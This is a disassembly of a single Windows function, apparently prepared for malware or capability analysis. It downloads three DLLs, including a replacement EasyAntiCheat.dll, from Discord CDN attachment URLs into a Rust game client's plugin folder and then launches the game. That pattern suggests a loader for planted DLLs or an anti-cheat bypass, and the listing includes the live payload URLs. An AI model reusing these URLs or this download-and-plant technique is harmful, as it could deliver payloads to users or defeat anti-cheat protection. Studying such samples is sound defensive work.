Function at 0x140001000
Capabilities:
Check if file exists
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push rbp
lea rbp, [rsp - 0x460]
sub rsp, 0x560
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp + 0x450], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rax, str.https:__cdn.discordapp.com_attachments_1145777559829745754_1172139367154847774_EasyAntiCheat.dll_ex655f3adais654cc5dahm99b59be8dfc604497aece44c1e018f9837e4a18b372815cea7878c394b48b13b
mov ecx, 0x104
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x10]
lea rax, str.https:__cdn.discordapp.com_attachments_1145777559829745754_1171914305088794654_libcurl.dll_ex655e693fis654bf43fhm0ceb3a13e7c5fef918664a4e9c084bd70a8822a47eff438117c067b750aa7298
mov qword [rsp + 0x70], rax
lea rax, str.https:__cdn.discordapp.com_attachments_1145777559829745754_1171914305470480484_zlib1.dll_ex655e693fis654bf43fhma645a819b7f04280f736b4089056f48eb1999b0cd643848d236883327b16914f
mov qword [rsp + 0x78], rax
lea rax, str.EasyAntiCheat.dll
mov qword [rsp + 0x50], rax
lea rax, str.libcurl.dll
mov qword [rsp + 0x58], rax
lea rax, str.zlib1.dll
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, str.RustClient.exe
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x230]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
lea rcx, [rbp + 0x230]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor ecx, ecx
test eax, eax
je 0x14000123e
lea r9d, [rcx + 0x24]
lea r8, [0x140002520]
lea rdx, [0x140002540]
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x1400010d2
xor eax, eax
jmp 0x1400011f8
mov qword [rsp + 0x570], rbx
lea rdx, str.RustClient_DataPluginsx86_64
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x578], rdi
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
xor edi, edi
mov ebx, edi
nop word [rax + rax]
mov r8, qword [rsp + rbx + 0x50]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x340]
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
mov rdx, qword [rsp + rbx + 0x68]
lea r8, [rbp + 0x340]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140001228
add rbx, 8
cmp rbx, 0x18
jl 0x140001100
lea rdx, [rbp + 0x120]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rdx, str.RustClient.exe
lea rcx, [rbp + 0x120]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x68
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x120]
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001210
lea r9d, [rax + 0x10]
lea r8, [0x1400026d0]
lea rdx, [0x140002710]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
mov rbx, qword [rsp + 0x570]
mov rdi, qword [rsp + 0x578]
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.140001270
add rsp, 0x560
pop rbp
ret
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400011e8
mov r9d, 0x10
lea r8, [0x1400026d0]
lea rdx, [0x1400026e0]
jmp 0x1400011db
mov r9d, 0x10
lea r8, [0x1400026d0]
lea rdx, [0x140002758]
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
jmp 0x1400011f8